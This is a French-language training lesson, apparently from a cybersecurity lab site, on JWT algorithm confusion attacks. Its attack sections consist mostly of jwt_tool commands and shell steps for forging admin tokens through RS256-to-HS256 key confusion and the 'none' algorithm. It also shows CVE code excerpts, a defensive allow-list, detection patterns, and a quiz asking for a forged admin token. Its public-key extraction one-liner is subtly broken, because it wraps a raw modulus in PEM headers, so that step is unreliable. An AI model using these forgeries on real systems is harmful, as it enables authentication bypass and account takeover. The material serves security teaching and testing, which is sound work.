Exploits de Confusion d'Algorithme

Confusion d'algorithme JWT : contournement complet de l'authentification

Sévérité Critique Attaques d'Algorithme Recherche en Sécurité

Ce que vous allez découvrir

🎯 Pourquoi c'est important

Les attaques de confusion d'algorithme sont l'une de ces vulnérabilités "saint graal" qui peuvent complètement contourner l'authentification dans les applications majeures. Voici le problème : les JWT font confiance à leurs propres en-têtes pour indiquer quel algorithme utiliser pour la vérification. Les attaquants exploitent cette confiance en changeant le champ algorithme, trompant les serveurs pour qu'ils vérifient les signatures de la mauvaise façon. Vous apprendrez à repérer et exploiter ces failles exactement comme les chercheurs en sécurité qui les découvrent.

🔍 Ce que vous allez apprendre

Vous découvrirez comment tromper les serveurs pour qu'ils utilisent des clés publiques RSA comme secrets HMAC (attaques RS256 vers HS256), contourner complètement la vérification de signature avec des attaques d'algorithme "none", et utiliser des outils puissants comme jwt_tool pour automatiser les tests. Ce sont les mêmes techniques que les chercheurs utilisent pour trouver des vulnérabilités critiques dans les systèmes de production.

🚀 Votre première victoire

En quelques minutes, vous testerez des tokens JWT pour des vulnérabilités de confusion d'algorithme en utilisant les mêmes outils que les chercheurs en sécurité utilisent. Vous verrez immédiatement ces attaques en action et gagnerez la confiance pour repérer des implémentations vulnérables que même des développeurs expérimentés manquent.

🔧 Essayez maintenant

Lançons jwt_tool - c'est l'outil que les chercheurs en sécurité du monde entier utilisent pour les tests JWT. Cet outil automatise tout le travail cryptographique complexe qui vous prendrait des heures à faire manuellement.

# Étape 1 : Installez les dépendances cryptographiques
pip3 install pycryptodome

# Étape 2 : Obtenez jwt_tool (framework de test JWT de niveau entreprise)
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool

# Étape 3 : Testez la confusion d'algorithme avec ce token exemple vulnérable
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJKb2huIERvZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -X a

# Ce que ça fait :
# ✓ Teste les attaques de contournement d'algorithme none
# ✓ Teste les attaques de confusion de clé RS256→HS256
# ✓ Teste les vulnérabilités de mot de passe vide
# ✓ Génère automatiquement des payloads d'exploitation

Vous verrez : jwt_tool testera automatiquement plusieurs attaques de confusion d'algorithme et fournira des résultats détaillés montrant quelles vulnérabilités existent, avec des tokens d'exploitation prêts à l'emploi - vous donnant un aperçu instantané de la posture de sécurité de l'application cible.

Compétences que vous acquerrez

✅ Compréhension fondamentale

  • Comment ces attaques fonctionnent au niveau cryptographique (plus de mystère boîte noire !)
  • Les techniques d'exploitation exactement identiques que les chercheurs utilisent sur le terrain
  • Des outils puissants comme jwt_tool qui automatisent les tests complexes
  • Les connaissances qui séparent les script kiddies des vrais experts en sécurité

🔍 Compétences réelles

  • Repérer les implémentations JWT vulnérables dans les applications réelles
  • Utiliser les mêmes outils que les chercheurs en sécurité utilisent quotidiennement
  • Comprendre les patterns d'attaque pour construire des défenses à toute épreuve
  • Expliquer clairement les résultats de sécurité aux développeurs et équipes

Attaque de rétrogradation RS256 vers HS256

L'attaque RS256 vers HS256 exploite les serveurs qui acceptent à la fois les algorithmes asymétriques (RSA) et symétriques (HMAC)

Ce vecteur d'attaque représente l'une des vulnérabilités JWT les plus sévères, affectant plusieurs bibliothèques JWT majeures selon la recherche de sécurité d'Auth0 de 2015 . Les experts en sécurité utilisent cette technique pour démontrer un contournement complet de l'authentification contre les implémentations vulnérables.

Prérequis de l'attaque

Ce dont vous avez besoin pour des tests réussis

✓ Accès à la clé publique RSA du serveur
✓ Token JWT valide utilisant l'algorithme RS256
✓ Serveur cible acceptant l'algorithme HS256
✓ Pas de validation stricte d'algorithme

Méthodes de découverte de clés

Techniques éprouvées pour localiser les clés publiques

# Endpoints JWKS courants
/.well-known/jwks.json
/api/auth/keys
/oauth/.well-known/jwks

# Extraction de certificat
openssl s_client -connect example.com:443

⚡ Exemple d'exploitation réelle

C'est la méthodologie exacte que les consultants en sécurité utilisent lors des missions de test

# Étape 1 : Découvrir et extraire la clé publique
curl https://example.com/.well-known/jwks.json | jq .
curl https://example.com/.well-known/jwks.json | python3 -c "import sys,json; key=json.load(sys.stdin)['keys'][0]; print('-----BEGIN PUBLIC KEY-----'); print(key['n']); print('-----END PUBLIC KEY-----')" > public_key.pem

# Étape 2 : Créer un token HS256 malveillant en utilisant la clé RSA comme secret HMAC
python3 jwt_tool.py [TOKEN_ORIGINAL] -X s -pk public_key.pem -I -pc role -pv admin

# Étape 3 : Tester le token forgé pour le contournement d'authentification

Indicateur de succès : Contournement complet de l'authentification avec la capacité de forger n'importe quelle identité utilisateur - le même impact obtenu par les équipes de sécurité lors des évaluations.

Attaque d'algorithme None

L'attaque d'algorithme none contourne complètement la vérification de signature en définissant l'algorithme sur "none" et en supprimant entièrement la signature. Cette technique ne nécessite aucune connaissance cryptographique - le succès dépend entièrement de l'identification des échecs de validation côté serveur.

Création manuelle de token

Techniques artisanales pour le contournement de signature

# Créer un en-tête d'algorithme none
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='

# Créer un payload malveillant
echo -n '{"sub":"admin","role":"superuser"}' | base64 | tr '+/' '-_' | tr -d '='

# Combiner avec une signature vide
HEADER.PAYLOAD.

Outils automatisés

Automatisation standard de l'industrie pour des tests complets

# Attaque automatisée d'algorithme none
python3 jwt_tool.py [TOKEN] -X n

# Injection de payload personnalisé avec mode tamper
python3 jwt_tool.py [TOKEN] -T
# Sélectionner : algorithme none
# Modifier le payload : {"sub":"admin","permissions":["*"]}

# Ignorer les échecs de vérification (continuer les tests même si certaines étapes échouent)
python3 jwt_tool.py [TOKEN] -X n -I

Vulnérabilités réelles

Ce sont des vulnérabilités réelles documentées par CVE que les experts en sécurité ont identifiées dans les systèmes de production. Toutes les références sont vérifiées contre les sources officielles incluant la base de données CVE MITRE et les avis de sécurité des fournisseurs.

CVE-2024-54150 : confusion d'algorithme CJWT

Bibliothèque : xmidt-org/cjwt (Implémentation C JSON Web Token)

Score CVSS : 9.1 Critique | Découverte : Décembre 2024 par Louis Nyffenegger

// Pattern de code vulnérable dans la bibliothèque cjwt
int cjwt_decode(const char *encoded, size_t encoded_len,
const uint8_t *key, size_t key_len,
cjwt_t **jwt) {
// Algorithme pris de l'en-tête non fiable - VULNÉRABLE !
const char *alg = cJSON_GetStringValue(
cJSON_GetObjectItemCaseSensitive(header, "alg"));
// Pas de validation d'algorithme avant l'utilisation de la clé
}

Impact : Contournement complet de l'authentification quand RS256 est attendu mais HS256 est fourni. CVE-2024-54150 | Avis de Sécurité GitHub

CVE-2022-29217 : confusion de clé PyJWT

Bibliothèque : jpadilla/pyjwt (Bibliothèque JWT Python) | Score CVSS : 7.4 Élevé

Versions affectées : >= 1.5.0, < 2.4.0

# Validation de clé vulnérable dans PyJWT
invalid_strings = [
b"-----BEGIN PUBLIC KEY-----",
b"ssh-rsa", # Seules les clés RSA sont bloquées
b"-----BEGIN RSA PUBLIC KEY-----",
]

# Les clés Ed25519 commençant par "ssh-ed25519" contournent la validation
# Les clés ECDSA "ecdsa-sha2-nistp256" contournent aussi la validation

Impact : Les clés publiques Ed25519 et ECDSA peuvent être utilisées comme secrets HMAC. NVD CVE-2022-29217 | Avis de Sécurité GitHub

CVE-2016-10555 : cas historique JWT-Simple

Importance historique : Première vulnérabilité de confusion d'algorithme JWT largement documentée (Mars 2015)

Impact sur l'industrie : A conduit à la spécification RFC 8725 JWT Best Practices

// Pattern historique vulnérable dans jwt-simple
exports.decode = function decode(token, key, noVerify, algorithm) {
// Paramètre algorithme ignoré, pris de l'en-tête à la place
var header = jwt.getHeader(token);
var alg = header.alg; // DANGEREUX : Contrôlé par l'attaquant

if (alg === 'HS256') {
return verify(token, key, 'HS256'); // Utilise la clé RSA comme secret HMAC
}
};

Impact historique : A engendré une revue de sécurité JWT à l'échelle de l'industrie et des implémentations de bibliothèques améliorées. CVE-2016-10555

Stratégies de défense

Ce sont les mêmes pratiques d'implémentation de sécurité utilisées par les équipes de sécurité d'entreprise et recommandées par les organisations de normes de l'industrie.

Application de liste blanche d'algorithmes

Patterns d'implémentation sécurisée standard de l'industrie

// Vérification JWT sécurisée
const ALLOWED_ALGORITHMS = ['RS256'];

function secureJWTVerify(token, publicKey) {
return jwt.verify(token, publicKey, {
algorithms: ALLOWED_ALGORITHMS,
clockTolerance: 30
});
}

Surveillance de sécurité

Surveillance des tentatives de confusion d'algorithme

# Patterns de détection
suspicious_patterns = [
'alg":"none"', # Algorithme none
'alg":"HS256"', # HMAC inattendu
'alg":"NONE"', # Variation de casse
'alg":""', # Algorithme vide
]

# Implémentation de surveillance en temps réel

🎯 Votre expertise en confusion d'algorithme est complète !

Vous comprenez maintenant les attaques de confusion d'algorithme JWT comme un expert en sécurité. Vous pouvez exécuter des attaques de rétrogradation RS256 vers HS256, effectuer des contournements d'algorithme none, et savez comment implémenter une validation JWT sécurisée qui prévient ces vulnérabilités critiques.

Manipulation d'Algorithme Outils de Sécurité Sécurité JWT Analyse Cryptographique

Prêt à appliquer vos compétences aux tests de sécurité JWT avancés

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Vous avez intercepté ce token JWT d'un utilisateur normal : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzQ1NiIsIm5hbWUiOiJKYW5lIFNtaXRoIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.XbPfbIHMI6arZ3Y4k0JEzB8HzWIcCLzWbJ7QFOIx-jQ - Le serveur accepte les tokens non signés. En utilisant l'attaque de l'algorithme none, forgez un nouveau token en changeant le rôle en 'admin'. Fournissez le token forgé complet :

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte